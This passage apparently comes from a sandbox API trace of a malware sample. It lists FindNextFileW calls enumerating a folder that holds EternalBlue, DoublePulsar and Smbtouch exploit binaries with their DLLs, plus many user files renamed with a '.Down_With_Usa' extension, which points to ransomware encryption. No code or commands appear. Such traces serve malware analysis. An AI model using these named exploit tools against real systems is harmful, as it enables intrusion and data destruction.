[0270.329] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27db4da0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27db4da0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27ddaf00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Doublepulsar-1.3.1.exe", cAlternateFileName="DOUBLE~1.EXE")) returned 1
[0270.329] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e4d320, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27e4d320, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27e995e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1487, dwReserved0=0x0, dwReserved1=0x0, cFileName="Doublepulsar-1.3.1.xml", cAlternateFileName="DOUBLE~1.XML")) returned 1
[0270.329] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa153c500, ftCreationTime.dwHighDateTime=0x1d5e1f0, ftLastAccessTime.dwLowDateTime=0xac901d80, ftLastAccessTime.dwHighDateTime=0x1d5dca8, ftLastWriteTime.dwLowDateTime=0x1f69ed20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18810, dwReserved0=0x0, dwReserved1=0x0, cFileName="elq1cNIsT.pdf.Down_With_Usa", cAlternateFileName="ELQ1CN~1.DOW")) returned 1
[0270.330] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe8a230, ftCreationTime.dwHighDateTime=0x1d5e24b, ftLastAccessTime.dwLowDateTime=0x4d61fd80, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x1f75d400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="ErnNouUqEe1_z.rtf.Down_With_Usa", cAlternateFileName="ERNNOU~1.DOW")) returned 1
[0270.330] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28336080, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28336080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2835c1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="esco-0.dll", cAlternateFileName="")) returned 1
[0270.331] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cf66c0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27cf66c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27d1c820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.exe", cAlternateFileName="ETERNA~1.EXE")) returned 1
[0270.331] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663f97e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x76eb9940, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.log", cAlternateFileName="ETERNA~1.LOG")) returned 1
[0270.332] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f31b60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27f31b60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f57cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1de1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.xml", cAlternateFileName="ETERNA~1.XML")) returned 1
[0270.332] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283f4760, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x283f4760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x283f4760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="exma-1.dll", cAlternateFileName="")) returned 1
[0270.332] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283a84a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x283a84a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x283a84a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="exma.dll", cAlternateFileName="")) returned 1
[0270.333] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95bd5050, ftCreationTime.dwHighDateTime=0x1d5dfbe, ftLastAccessTime.dwLowDateTime=0xcfb8c700, ftLastAccessTime.dwHighDateTime=0x1d5df62, ftLastWriteTime.dwLowDateTime=0x1f7cf820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x126f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiPz.ppt.Down_With_Usa", cAlternateFileName="FIPZPP~1.DOW")) returned 1
[0270.333] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x22509a20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x22509a20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiTPqgyxdhZUlpDcH", cAlternateFileName="HITPQG~1")) returned 1
[0270.334] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28440a20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28440a20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28466b80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iconv.dll", cAlternateFileName="")) returned 1
[0270.334] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x2284f860, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2284f860, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="l9QUNeqlGif", cAlternateFileName="L9QUNE~1")) returned 1
[0270.334] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2862fc00, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2862fc00, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28655d60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x33e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="libcurl.dll", cAlternateFileName="")) returned 1
[0270.335] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28760700, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28760700, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x287d2b20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="libeay32.dll", cAlternateFileName="")) returned 1
[0270.335] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2881ede0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2881ede0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28891200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xece99, dwReserved0=0x0, dwReserved1=0x0, cFileName="libiconv-2.dll", cAlternateFileName="LIBICO~1.DLL")) returned 1
[0270.335] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288b7360, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x288b7360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x289e7e60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1
[0270.336] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28334a0, ftCreationTime.dwHighDateTime=0x1d5d7ee, ftLastAccessTime.dwLowDateTime=0x7a3aef50, ftLastAccessTime.dwHighDateTime=0x1d5db35, ftLastWriteTime.dwLowDateTime=0x1f88df00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11730, dwReserved0=0x0, dwReserved1=0x0, cFileName="m6pr0CPgtqV6i.mp4.Down_With_Usa", cAlternateFileName="M6PR0C~1.DOW")) returned 1
[0270.336] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65eb98d0, ftCreationTime.dwHighDateTime=0x1d5da52, ftLastAccessTime.dwLowDateTime=0xa66b1f20, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0x1f900320, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", cAlternateFileName="MLH-EH~1.DOW")) returned 1
[0270.337] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe353ad30, ftCreationTime.dwHighDateTime=0x1d5e40c, ftLastAccessTime.dwLowDateTime=0xe086a800, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0x1f972740, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x22f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n4T6IDvbZzl.jpg.Down_With_Usa", cAlternateFileName="N4T6ID~1.DOW")) returned 1
[0270.337] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e01060, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27e01060, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27e271c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nasa.exe", cAlternateFileName="")) returned 1
[0270.337] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff166fa0, ftCreationTime.dwHighDateTime=0x1d5d94c, ftLastAccessTime.dwLowDateTime=0x3cea9da0, ftLastAccessTime.dwHighDateTime=0x1d5e6dc, ftLastWriteTime.dwLowDateTime=0x1f9e4b60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13880, dwReserved0=0x0, dwReserved1=0x0, cFileName="pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", cAlternateFileName="PCGD4V~1.DOW")) returned 1
[0270.337] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a0dfc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28a0dfc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28a34120, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x52600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcla-0.dll", cAlternateFileName="")) returned 1
[0270.338] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28aa6540, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28aa6540, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28acc6a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x23c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcre-0.dll", cAlternateFileName="")) returned 1
[0270.338] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28acc6a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28acc6a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28af2800, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcrecpp-0.dll", cAlternateFileName="PCRECP~1.DLL")) returned 1
[0270.338] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28af2800, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28af2800, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b18960, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcreposix-0.dll", cAlternateFileName="PCREPO~1.DLL")) returned 1
[0270.338] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b64c20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28b64c20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b8ad80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="posh-0.dll", cAlternateFileName="")) returned 1
[0270.338] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b3eac0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28b3eac0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b3eac0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="posh.dll", cAlternateFileName="")) returned 1
[0270.339] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d1c260, ftCreationTime.dwHighDateTime=0x1d5e5e6, ftLastAccessTime.dwLowDateTime=0x9eaf8e50, ftLastAccessTime.dwHighDateTime=0x1d5dff3, ftLastWriteTime.dwLowDateTime=0x1fac93a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x16790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTubNm8c7Zfy5cv7.png.Down_With_Usa", cAlternateFileName="PTUBNM~1.DOW")) returned 1
[0270.339] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce0ee0, ftCreationTime.dwHighDateTime=0x1d5df8c, ftLastAccessTime.dwLowDateTime=0xac65ecd0, ftLastAccessTime.dwHighDateTime=0x1d5e064, ftLastWriteTime.dwLowDateTime=0x1fb3b7c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2410, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYj9g_.gif.Down_With_Usa", cAlternateFileName="PYJ9G_~1.DOW")) returned 1
[0270.339] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2910c060, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2910c060, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x291321c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="riar-2.dll", cAlternateFileName="")) returned 1
[0270.339] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28fdb560, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28fdb560, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x290016c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="riar.dll", cAlternateFileName="")) returned 1
[0270.339] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33939ed0, ftCreationTime.dwHighDateTime=0x1d5dced, ftLastAccessTime.dwLowDateTime=0x113284d0, ftLastAccessTime.dwHighDateTime=0x1d5dd85, ftLastWriteTime.dwLowDateTime=0x1fbadbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwBotm2CYZ.bmp.Down_With_Usa", cAlternateFileName="RWBOTM~1.DOW")) returned 1
[0270.339] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df310a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x3df310a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x640b7200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x101b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan.txt", cAlternateFileName="")) returned 1
[0270.340] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ebf740, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27ebf740, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f0ba00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1359, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smbtouch-1.1.1.xml", cAlternateFileName="SMBTOU~1.XML")) returned 1
[0270.340] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29262cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29262cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29288e20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssleay32.dll", cAlternateFileName="")) returned 1
[0270.340] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2936d660, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2936d660, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x293937c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe-1.dll", cAlternateFileName="")) returned 1
[0270.340] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293b9920, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x293b9920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x293dfa80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe-2.dll", cAlternateFileName="")) returned 1
[0270.340] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293213a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x293213a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29347500, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe.dll", cAlternateFileName="")) returned 1
[0270.340] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29451ea0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29451ea0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29478000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch-0.dll", cAlternateFileName="")) returned 1
[0270.351] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2961af20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2961af20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2961af20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch-1.dll", cAlternateFileName="")) returned 1
[0270.351] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2942bd40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2942bd40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2942bd40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch.dll", cAlternateFileName="")) returned 1
[0270.351] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2968d340, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2968d340, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x296b34a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo-0.dll", cAlternateFileName="")) returned 1
[0270.351] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2974ba20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2974ba20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2974ba20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo-2.dll", cAlternateFileName="")) returned 1
